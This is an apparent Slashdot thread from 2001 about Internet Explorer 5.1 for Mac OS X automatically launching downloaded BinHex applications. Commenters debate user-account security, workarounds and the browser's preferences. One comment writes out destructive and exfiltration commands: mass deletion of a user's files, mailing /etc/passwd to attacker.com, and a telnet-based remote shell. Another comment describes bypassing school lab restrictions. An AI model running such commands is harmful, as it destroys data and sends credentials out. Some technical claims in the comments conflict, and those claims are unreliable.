Slashdot Mirror


Huge security hole in Internet Explorer for MacOS

Brad Lucier writes "Macintouch is reporting (go down the page a bit) that Internet Explorer 5.1, which comes preinstalled on MacOS X 10.1, has a huge security hole---when it downloads arbitrary programs encoded in the Macintosh's standard BinHex (.hqx) format, it automatically executes them. " Well I guess thats one way to make Unix insecure. Can anyone actually confirm this since it looks kinda sketchy. I wonder what someone's rationale would be for that:"Oh this won't hurt anyone, and saving that extra 'OK' click will be great!".

41 of 606 comments (clear)

  1. Intrinsic Security in OS X by Buran · · Score: 4, Insightful

    The fact that OS X is based on FreeBSD may very well keep this hole from becoming as damaging as it is on Windows. Unless you're logged in as root or an Admin user -- always a good idea to be a 'normal' user whenever possible -- I don't know how damaging a malicious program can be. It'd have to get around some pretty strong security.

    To what extent do others out there think this fact might "save" IE from being the terrible security disaster under OS X that it is on Windows?

    I've got it on my 10.1 system, but I never use it; Mozilla 0.9.4 is far nicer (to me, anyway.)

    1. Re:Intrinsic Security in OS X by mr3038 · · Score: 5, Insightful
      Unless you're logged in as root... I don't know how damaging a malicious program can be

      This is correct. However, this practically causes every local exploit to be remote exploit which makes things pretty much easier for an attacker. In addition it really doesn't matter if malicious code destroys only your personal data or your personal data and system libraries. You're fscked anyway!

      --
      _________________________
      Spelling and grammar mistakes left as an exercise for the reader.
    2. Re:Intrinsic Security in OS X by TrumpetPower! · · Score: 3, Interesting

      rm -rf /home/urchlay

      If mass destruction is your aim, then the following will do the job nicely:

      find / -user $USER -exec rm -f {} \;

      Or, you could:

      mail badguy@attacker.com < /etc/passwd

      Maybe it'd be a program to brute-force su, something often possible (brute-forcing ssh or telnet usually isn't.

      With a bit more work, you could:

      telnet attacker.com 666

      And run something on port 666 on attacker.com that gives attacker.com shell access.

      All this assumes the rest of the operating system's security is iron-clad. Local exploits are, in general, much easier to pull off than remote ones. Account compromise is not a nice thing, at all.

      b&

      --
      All but God can prove this sentence true.
  2. Sigh. by DarkZero · · Score: 3, Funny
    And of course, the media will portray this as "a problem with computers in general" (often used), "a fundamental problem in the structure of the internet" (Code Red), etc. And Microsoft will portray it as "Just one of those unavoidable things that happens when you used a Unix-based operating system".

    Fuckin' morons.

  3. Preferences by Anonymous Coward · · Score: 4, Informative

    You can turn off the automatic decoding of bin.hex files in the prefences panel under "downloading options". This allows people to have some control.

    1. Re:Preferences by Master+Bait · · Score: 3, Informative
      I guess that is prevention, but it is still a lame to not be able to decode your files automatically.

      Over the years, Mac owners have enjoyed the ability to automaticall decode hqx and sit files without having them execute!

      I say dump IE completely and use the alternates of which there are plenty.

      --
      "Only in their dreams can men truly be free 'twas always thus, and always thus will be."
      --Tom Schulman
  4. Well, yeah..... by kerincosford · · Score: 4, Insightful

    ...this always struck me as a little odd.

    I've recently started using Mac OSX for dev work, and so I've only just really got accustomed to the OS.

    This isn't a OS10.1-specific thing. Straight OS10 does exactly the same thing.

    It is dumb, but you can turn it off in the preferences panel. My guess would be that most users would turn it off when they go into the Prefs to change the default download location (as MacIE5 doesnt ask you for a download folder) to something more sensible.

    Ppfffff.

    Personally, I don't think this is an *enormous* worry for the average user. Imagine if PC IE6 did this. All hell would break loose. But, theres just not that many nasties lurking for the Mac OSX user, really. And besides, the more savvy users will shut this feature off.

    It is mighty dumb though. And not even that userfriendly. When StuffIt starts up to expand your files, it steals focus from what you're doing and makes your system chug like hell on OS10.1.

  5. somewhat unfair to gloat by shibut · · Score: 3, Insightful

    It is unfair to gloat by saying that every time anything comes up on your screen you should have to say OK. It is a judgement call (imagine if you had to OK each image or flash component separately...). One of the most important parts of designing a product (whether sw, hw, or a chair) is what the features it has and what is the default (e.g., the default for a recliner is the upright position and you have to actively do something to make it recline, imagine if it started out reclining, it would be kind of awkward to get into it).

    Having said that, the use of the OK button should be related to the amount of damage a malicious item can cause. In the case of binhex it seems like a no-brainer to ask first...

  6. Near-Useless Security by Giant+Hairy+Spider · · Score: 4, Troll

    Most users don't care so much about the system files, which are just a matter of rerunning the install process. Their personal data is far more valuable to them.

    Maybe this will save a little data on systems with multiple users, but we're talking about personal computers here. By definition they are primarily used by one person.

    The protection offered by an administrator account is minimal.

    --

    ---
    You'd be surprised at the broadband connection available to things crawling around in your hair.
    1. Re:Near-Useless Security by manly · · Score: 4, Insightful
      I'm surprised the parent was modded up as insightful:
      Most users don't care so much about the system files, which are just a matter of rerunning the install process. Their personal data is far more valuable to them.

      Maybe this will save a little data on systems with multiple users, but we're talking about personal computers here. By definition they are primarily used by one person.

      The protection offered by an administrator account is minimal.

      Yes, data is of primary value to users. However, it costs time and money to fix a hosed system. Especially for the average user, "rerunning the install process" isn't part of a viable security plan.

      As far as protection by using the Admin account, this is a basic tenet of security: assign only the necessary privileges for software to function. Ever wonder why DOS/Win95/Win98/Me are so succeptible to havoc caused by viruses (beyond popularity and braindead M$ application features)? It's because you're always running as de-facto superuser account.

      The only reason you claim the Admin account provides "minimal" protection is because you believe the time and effort to restore a system is trivial. Even if that were the case, always running as the Admin account makes it a lot easier for a worm/virus to completely trash your system, taking down your valuable data files along with everything else.

      I think fortunately for Microsoft and its millions of users worldwide, most worms/macro viruses these days are pests that put a drag on the Internet infrastructure, rather than seeking out your data files and wiping them away.

    2. Re:Near-Useless Security by manly · · Score: 5, Insightful
      The problem is, the average "user" is not an admin. How is such a person going to have the knowledge to set themselves up with a user account to protect them from themselves?
      You've raised an excellent point, that I'll paraphrase somewhat differently. Normal home PC users don't even begin to understand security well enough to craft any sort of security plan (or measures such as always running a virus scanner on downloads/attachments). There's a trade-off between security and convenience; Microsoft tends to err on the side of convenience (as in the topic of this article).

      I think the short answer to your question is education. Windows XP is a secure multi-user OS, and it's now shipping on consumer PCs. Many users now will have no choice but to gain a better understanding of at least logging in, and what activities (app installation) aren't possible with a "restricted" user account.

      Having said that, I found the Microsoft scheme to ease multiple user computing for consumers is incredibly convoluted. During installation, a superuser account synonymous with root on Unix named Administrator is created.

      However, after booting Lose-XP for the first time and logging in as Administrator, you'll want to add user accounts. Lose-XP forces you to create a "Computer Administrator" account before you can create regular user accounts. After doing so, the Administrator account is hidden from XP's new simplified login screen. The point I'm trying to make is that a relatively basic concept is made more complex, even though the supposedly goal was to make the login screen simpler for Joe Schmoe.

      In an OS that is designed to be operated by the average user, isn't the de-facto superuser account always going to be an issue?
      It's an issue, but as alluded to before, it's being handled very differently now. In DOS and legacy Windows, there was only the de-facto superuser-level user. Now that XP is slated to become standard on all consumer PCs, this is obviously no longer the case.

      Besides my earlier complaint that the handling of users is more complex than it used to be, there is I believe another wrinkle to it (that I read somewhere else). If you add accounts during installation of XP, they receive Administrator credentials instead of normal user privileges. Besides (pre-)installation, login is the first feature users will meet. I don't understand why accounts seem so convoluted in XP.

      Finally, Mac OS X takes a different tack. From what I understand, all created accounts are user level accounts in the Unix sense. To access the admin-level account, you have to explicitly enable root. I don't know enough about OS X to comment, but on the face of things, this seems like a simple security policy that many users can actually understand if explained to them.

      In short, unless users are going to treat their PCs as black-box Internet appliances (admin'd by a friend or relative), many of them will have to understand and admin their Windows boxes more than they've been accustomed to.

    3. Re:Near-Useless Security by Giant+Hairy+Spider · · Score: 5, Insightful

      As far as protection by using the Admin account, this is a basic tenet of security: assign only the necessary privileges for software to function.

      Funny thing, the way this works out on a personal computer is that pretty much every program the user runs needs the ability to access the user's data. Otherwise the user is continually tripping over the restrictions and being forced to enter passwords.

      The only reason you claim the Admin account provides "minimal" protection is because you believe the time and effort to restore a system is trivial.

      Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

      Even if that were the case, always running as the Admin account makes it a lot easier for a worm/virus to completely trash your system, taking down your valuable data files along with everything else.

      The only thing it makes it easier to trash are the system files. The user data is totally at the mercy of any trojan they run.

      Don't get me wrong, account restrictions could be used to provide better security on a personal computer. However, with rare exceptions, they aren't. The operating environment isn't designed for efficient permissions management and the users aren't sophisticated enough to understand the value anyway.

      Multiuser OSs are just that, and not optimally designed for personal computers. The admin account is there to protect the system from the users, not to protect the users from foreign code. There are definitely improvements that could be made with a dedicated networked-PC OS designed with an eye to protecting the user's data from less-trusted network programs such as the web browser.

      To sum it up, it isn't hard to imagine system features that would protect the user's data from internet code, and while a priviledged admin account could be a part of implementing those features, it doesn't provide them.

      --

      ---
      You'd be surprised at the broadband connection available to things crawling around in your hair.
    4. Re:Near-Useless Security by ToLu+the+Happy+Furby · · Score: 4, Insightful

      Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

      Absolutely correct.

      However, one simple modification could bring the user's personal data under the protection of the admin account while still leaving it accessible to the user account: have a program running with root privileges which automatically backs up a copy of all the user's documents to a file only root has rights to. Then if the docs get hosed eg. by a virus running as user, one simply needs to login as root to get at a backed-up copy.

      Of course the idea of backing up to another spot on one's own hard drive seems a little strange, but as most *really* important data files tend to be relatively small (unless the user is doing eg. video editing for a living), it seems like a very sensible solution, especially for OS' like Win2k Professional and OSX--which have strong multi-user security, but are generally run as single-user workstations.

      Thoughts?

    5. Re:Near-Useless Security by weave · · Score: 3, Insightful
      Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

      As someone who manages 25 local geeks, I take great offense to this statement, but it's pretty damn typical of user attitudes so it doesn't shock me.

      The local geeks you talk about spend far too much time fixing your screwups and when we try to protect you from yourself by putting strict file perms on your desktop, you go screaming bloody murder because you can't install webshots or some other stupid program-of-the-week your friends told you about.

      So instead of us doing something useful like planning for deploying new technologies, coding useful reports for the mountain of data you need to work with in the company's oracle database, ensuring the company doesn't get sued for license non-compliance, keeping server patches up-to-date, keeping up with security lists, etc, etc, we are running around fixing your screwups because you have no respect for the time or talents of your local geek.

      Thanks for illustrating this common and typical attitude so well...

  7. Original posting by tbmaddux · · Score: 3, Informative
    Here's the original posting by one of the Macintouch readers... it's pretty far down on the linked page so here's the full text:

    "Date: Sat, 29 Sep 2001 17:02:59 -0400
    From: [MacInTouch reader]
    Subject: Security Alert for Explorer 5.1 (MacOS X 10.1)

    I am shocked to report a huge security hole in the latest Internet Explorer version 5.1 that comes preinstalled on MacOS X 10.1

    Every .hqx encoded classic application is decoded by explorer itself (that's the default, stuffit expander isn't used) and then AUTOMATICALLY STARTED!

    This is totally unacceptable. You can test this simply by pointing your browser to

    http://www.pardeike.net/danger.hqx

    where I put a very small C program that just displays a message (trust me, it *only* does that message, nothing more)"

    --
    Can't you see that everyone is buying station wagons?
  8. Personally, I prefer OmniWeb by ehintz · · Score: 5, Informative

    I do occasionally use IE, when hitting one of those pages designed by MS only shops, but most of my browsing time is in OmniWeb (www.omnigroup.com). Problem solved.

    As an added benefit, OmniWeb has options to disable banner ads (sorry VA), kill javascript popup windows, and it's just a generally nicer browser with more intelligent design decisions. And it keeps web pages from looking like NASCAR with all the bloody ads and popups. Did I mention how it kills ads and popups? Although I will admit IE is wicked fast under 10.1, OmniWeb is plenty fast enough.

    --
    ehintz
  9. User level is DANGEROUS for malicious code! by infractor · · Score: 4, Insightful

    Well, unless this is some unix I've not seen...

    Normal users have the ability to open TCP sockets, fork processes etc.

    All the code has to do is download itself, background itself as an non-stoppable process and then use the network to scan like crazy for whatever vulnerability you like!

    Even if you're not scanning for vulnerabilities, your code could be repeatedly mailing bugs@microsoft.com or whatever. A Denial of service attack with a userlevel account is also possible...

  10. i didn't even think it was a bug by SirSlud · · Score: 4, Interesting

    With MS's history, my friend discovered this three days ago and told me. Both of us assumed since it is an MS product that it was the way it was meant to be. Its such an obvious hole that we didn't even think it was a bug, just terrible and user-un-friendly design (as per the usual MS shit.)

    --
    "Old man yells at systemd"
  11. As YOU DIDN"T read this article using said browser by SteveM · · Score: 5, Informative

    Its been standard in Mac OS for Stuffit Expander to automatically extract archives once downloaded. Isn't this issue related more to Stuffit Expander than IE?"

    We all know how hard it is to click on a link and read the article, so I did it for you.

    From the MacInTouch web site: "Every .hqx encoded classic application is decoded by Explorer itself (that's the default, Stuffit Expander isn't used) and then AUTOMATICALLY STARTED!"

    I suggest that in the future you read the article in question before posting.

    Steve M

  12. Knowing Microsoft... by neema · · Score: 3, Funny

    "Oh this won't hurt anyone, and saving that extra 'OK' click will be great!". "

    Knowing Microsoft, even when it does ask you to execute the file, the only option it'll give is "OK".

  13. Sounds like the recent slrn bug by coyote-san · · Score: 3, Interesting

    This sounds a lot like the recently discovered slrn bug (see Bugtraq, LWN, Debian) that automatically executed all scripts encountered, apparently assuming they were self-extracting archive files.

    However, I'm not sure Microsoft should be let off the hook for the equivalent behavior on the Mac. The Unix code was there for a very, very long time... when it was added it was a reasonable assumption that people would not send nasties because it was too easy to complain to their employer or grad department (the only way to get online) and cause the sender significant personal pain. (This is also a painful reminder that just because code is available doesn't mean that the right people are reviewing it.) In contrast, by the time somebody added that code to the Mac version of MSIE, the possibility of untraceable, hostile scripts should have been obvious.

    --
    For every complex problem there is an answer that is clear, simple, and wrong. -- H L Mencken
  14. Tried it. Does nothing by cith · · Score: 3, Informative

    I tried it with my 10.1 system. The .hqx file is decoded into an application, but doesnt get executed unless you double click on it. Seems Ok to me.

  15. Re:Not M$ by ehintz · · Score: 5, Informative

    Internet Explorer on the MAC has nothing to do with Microsoft. It's developed, published, and installed by Apple.

    Not. It's developed and published by the Microsoft Macintosh Business unit, which is a somewhat independent MS arm out in the SF Bay Area. Apple's only involvement is bundling IE with the OS. About the only way your statement is accurate is if you're trying to stipulate that IE for Mac has little to do with IE for windows, which is correct. In fact, it's not uncommon for IE/Windoze to inherit good ideas from IE/Mac.

    And not to be picky, but it's Mac. Short for Macintosh. Not MAC, short for Media Access Control address, as in your NIC card.

    --
    ehintz
  16. Security comparison; reason for insecure code? by Scoria · · Score: 4, Informative

    IE Exploits:

    q279328 - allows execution of code through print templates or web forms

    q286045 - allows someone to execute files and read files on your machine (using a combination of both exploits that patch fixed)

    q286043 - allows someone to begin a telnet session and send data to your machine (as well as execute it) if you've installed Services for Unix

    q273868 - sends your authentication information on every query as long as they're on the same hostname

    Four major exploits in the last twelve months. Certainly, those aren't all of the exploits, erm, extra features that IE has had bundled with it lately, but they are a few that have readily accessible information from Microsoft.

    One could imagine eternally why Microsoft designs such insecure products, but look at it this way:

    Have you ever coded a product that was efficient and secure after being pushed for three days to meet a deadline? Don't you become somewhat exhausted and lazy, primarily because you want to sleep, no matter how much money you're going to be paid? There comes a point where caffeine just won't help you operate anymore and your health becomes more of a priority than a "higher-up"'s regime.

    Microsoft developers (in the words of Ballmer) are only human as well -- and I'm sure they work just as hard as we do.

    --
    Do you like German cars?
    1. Re:Security comparison; reason for insecure code? by WolfWithoutAClause · · Score: 3, Funny

      >Microsoft developers (in the words of Ballmer) are only human as well -- and I'm sure they work just as hard as we do.

      Harder! Because evil never sleeps... ;-)

      --

      -WolfWithoutAClause

      "Gravity is only a theory, not a fact!"
  17. Users are dumb by nvainio · · Score: 5, Insightful
    My guess would be that most users would turn it off when they go into the Prefs to change the default download location

    Yeah, just like "most users" turn off Java and JavaScript in their browsers? Or turn off macros in their Word and avoid macro viruses?

    Not true. "Most users" are dumb. They have no clue what is the difference between "document" and "program". They can't or don't want to change settings. They just click the icon when asked and execute the virus or trojan.

    Well, there will always be dumb users. They are not a problem, braindead defaults are. Without all these be-user-friendly-execute-it-all defaults, we would have less viruses and worms going around. Software developers should take their responsibility seriously.

  18. Here's the fix (no sarcastic anti-MS comment here) by Anonymous Coward · · Score: 5, Informative

    Launch IE 5.1, go to the Explorer menu, then to Preferences.

    Go to the "Receiving Files" options and DISABLE "Automatically decode MacBinary files" and "Automatically decode BinHex files".

    Easy as that.

  19. Why is it there? by Phrogz · · Score: 4, Insightful

    If I click on a link for a .sit.hqx file and IE decodes the HQX, I'd like it to pass the file off to Expander for further decoding.

    If I click on a link for a .doc.hqx file or a .pdf.hqx file, I'd like IE to get Word or Acrobat to open the file after it removes the encoding.

    Apparently this same mechanism accidentally results in executables being run as an attempt to pass them along for further processing to the OS. It's obviously a security whole in retrospect, but understandable how it occured.

    1. Re:Why is it there? by hearingaid · · Score: 4, Informative

      That actually makes sense.

      Solution: Check to see what the .hqx decoded to. If its filetype is APPL, do not launch it.

      Time for a patch... :)

      --

      my old sig used to be funny, but then slashcode ate it and now it's not funny anymore

  20. Not true by Auckerman · · Score: 5, Insightful

    If the user has Classic running, which is VERY often the case, there is a problem. Classic is setuid root. All one would have to due is encode a malicious classic program as a .hqx, have it add itself to the startup procedure for OS X, and *poofie* instand backdoor.

    --

    Burn Hollywood Burn
    1. Re:Not true by sugarbomb · · Score: 4, Informative

      Classic is not run as root, it's run as the user who is logged in. Classic can freely write to "System Folder", where the classic system lives, but it cannot write to anywhere inside /System, where all the important things live. Classic user would not be able to add itself to the X startup
      But, you could easily add to the Classic system startup, and cause lots of havoc there ..

    2. Re:Not true by Auckerman · · Score: 3, Informative
      "Classic is not run as root, it's run as the user who is logged in"


      [localhost:Classic Startup.app/Contents/Resources] login% pwd
      /System/Library/CoreServices/Classic Startup.app/Contents/Resources
      [localhost:Classic Startup.app/Contents/Resources] login% ls -la TruBlueEnvironment
      -rwsr-xr-x 1 root wheel 476740 Sep 26 20:04 TruBlueEnvironment


      Sure looks like it's setuid root to me.

      --

      Burn Hollywood Burn
  21. Re:Wouldn't you think by Junta · · Score: 4, Insightful

    But people might not realize they are downloading something until it is too late. an onLoad directive to load a file, or an embed, or simply a disguised link that most people wouldn't bother checking..

    --
    XML is like violence. If it doesn't solve the problem, use more.
  22. Solution by KFury · · Score: 5, Funny
    1. Create script to toggle 'autoexec .hqx downloads' to FALSE
    2. Insert the file into the X-10 popup banner
    Problem solved.
  23. Not Stuffit's Fault by Brownian+Motion · · Score: 5, Informative

    It is not Stuffit. It's Internet Explorer de-binhexing and executing the coded app all on it's own. Since you mention Stuffit, I'm not sure you understand what is going on as Stuffit does not have this behavior (nor is it involved).

    It's not a feature of OS X (or the OS's fault in any way). I never noticed the beta-IE (used in OS 10.0[0-4] doing this, and I used it throughout. I rarely booted into OS 9 when OS X came out, and I used the beta fairly extensively as well.

    IE is auto-decoding a binhex, then if it's an application, automatically executing it. No other version of IE does this. No other mac internet app does either. Others will auto-decode files for you, but leave it to you to launch them.

    Sure, you can turn off the binhex pref, but without the added "feature" it is not a security risk to simply de-binhex a file (probably less dangerous than uu-decoding). Even a savvy user who perused every setting wouldn't know to uncheck "automatically decode binhex" to turn off a feature that's so stupid one wonders why someone would bother coding it (automatically running dl'd apps).

    Now Stuffit has it's own security risk. By default, it will auto-mount any disk image it decodes. A disk image can be set to automatically launch an app when loaded. Hence, Stuffit can be made to do what IE is doing in a roundabout way. Personally, I think this "feature" should be turned off for disk images as well.

    I use the slowest G4, and I've not noticed Stuffit being a hog, though it is annoying. It ripped through the 189 MB dev tool installer in a few seconds.

    IE has other problems as well. It will reset my Internet prefs (usually just the dl folder, but sometimes it will set itself as the default web app). Just use Omniweb, and you get a nice spell checker to spell check your posts (I know I need it).

  24. not just IE..tis a mac thing by fjordboy · · Score: 3, Offtopic

    Interesting note: When I use the macs at my high school (G4's), IE never seems to work for them, so I always use Netscape. However, I also like to check my email using the macs, and there is no telnet application on these macs, and I can't install NCSA telnet on them because everything on the computer is locked. However, I found a way around it. When I download the hqx version of NCSA, it autoinstalls, bypassing "foolproof" security. I still can't use the telnet app unless I call it up through netscape using telnet: . I just thought this was interesting...because it isn't just IE that does it...it is the stupid hqx and stuffit expander things. I would definitely disable those options. (If I could...but the security features don't let me change anything!)

  25. Step back and smell the irony by 1stmammaltowearpants · · Score: 3, Funny

    We're talking about a Microsoft product running in Unix that came pre-installed with the Mac OS.

    These are strange times, my friends.

  26. Re:It's not quite THAT bad... by iso · · Score: 3, Informative

    This is why anybody using Mac OS X should comment out the line:

    %admin ALL=(ALL) ALL

    in their /etc/sudoers file. The vast majority of Mac users won't miss sudo, and those who do need root privileges can enable the root account through NetInfo, add their account to the "wheel" group, and use su instead of sudo.

    ...or you should live with it, but ensure that your main account is a non-administrator account.

    - j

  27. Wow are you way off... by MO! · · Score: 3, Interesting
    Fact #1: MacOS X is based on FreeBSD 3.2 wrapped around a Mach microkernel.


    Fact #2: FreeBSD does not use a Mach kernel.


    Fact #3: The /etc/master.passwd file on a MacOS X system has nothing of value. It's there for legacy needs and has just the normal "shell=/bin/noshell" accounts as well as the disabled root account in it. To get useful information, you have to do a NetInfo dump of whatever class your looking for, in this case the encrypted passwd info.


    Fact #4: The unix-like, BSD family, portion that makes up the base of MacOS X is not proprietary - it's called Darwin and is open and downloadable in source form (even ported to Intel). Only the upper level graphics system is closed. It's kinda like running a proprietary X Windows system on top of Linux.


    Finally, Fact #5: Although there are some proprietary BSD-based OS's, the majority of the proprietary Unix OS's are based on AT&T->Novell->SCO->The OpenGroup code - not on BSD.


    Please investigate your claims before boasting such innaccuracies.

    --
    I AM, therefore I THINK!
  28. That's not the security hole... by jmegq · · Score: 4, Insightful
    I wholeheartedly agree that this is incorrect behavior, but as I tried to convince my devils-advocating self that it was a major security flaw, I kept losing.

    If you click on a link to a binhex'd file, and it's an application, then normally it gets un-binhex'd for you. Well and good. Now what's the next thing you do? Without fail, it is to double-click on the decoded file. Not to check the file in any way, compare fingerprints or whatnot. You go and double-click the file, opening it up. If it's a trojan, you lose.

    Some may argue "well, but what if it says it's a picture file, but turns out to be a trojaned app?" Doesn't matter; I can set the app's icon to look like that of a picture file, and you're just as screwed when you double-click on it.

    So what about automating the double-click makes this a "huge security hole"? It seems like once you've downloaded the thing, you're already toast.

    Please note that I'm not trying to gloss over the wrongness of the auto-launch, but rather to point out that we need some better form of security systemwide.

  29. Shades of MSN 1.0 by hatless · · Score: 3, Informative

    What IE 5.1 for the Mac should be doing is decoding the Binhexed file and then handing the decoded file back to its (IE's) MIME and Mac creator handler again, as though it were the original downloaded file, and apply the appropriate rules, whether to save, launch, or whatever.

    In other words, if the normal behavior when encountering an image/tiff file is to open it in Photoshop, then that is what should happen to a binhexed TIFF. If it's an .sit from Stuffit, Stuffit Expander might be launched. If it's an Excel spreadsheet and the preferences are set to open those, then open it it should.

    The problem here is that it sounds like IE is handing the decoded file to OS X's "file open" handler (the call made when double-clicking an icon in the Finder) instead of to IE's "file download" handler, which checks MIME-handling rules and security zones set in IE and systemwide preferences.

    Not unlike an incident I remember back in 1995 during the Windows 95 betas, when the original webless MSN was opened to content developers. It used a Windows Explorer metaphor, with online content organized as folders and icons. Content providers were encouraged to post RTF documents as content, but any file was fair game. Thing was, when users double-cliked on files to open them, they were treated like local files. Some of the earliest Word macro viruses got spread this way. I remember being shown this at a beta developers' convention before the first macro viruses even hit and asking if it could pass opened files through the user's virus scanner before opening them. "No, we hadn't thought of that," said an engineer. Horrified looks and some intensive scribbling on notepads followed, though nothing was done in time for launch beyond a useless request to content providers that they try to scan things for viruses before posting them.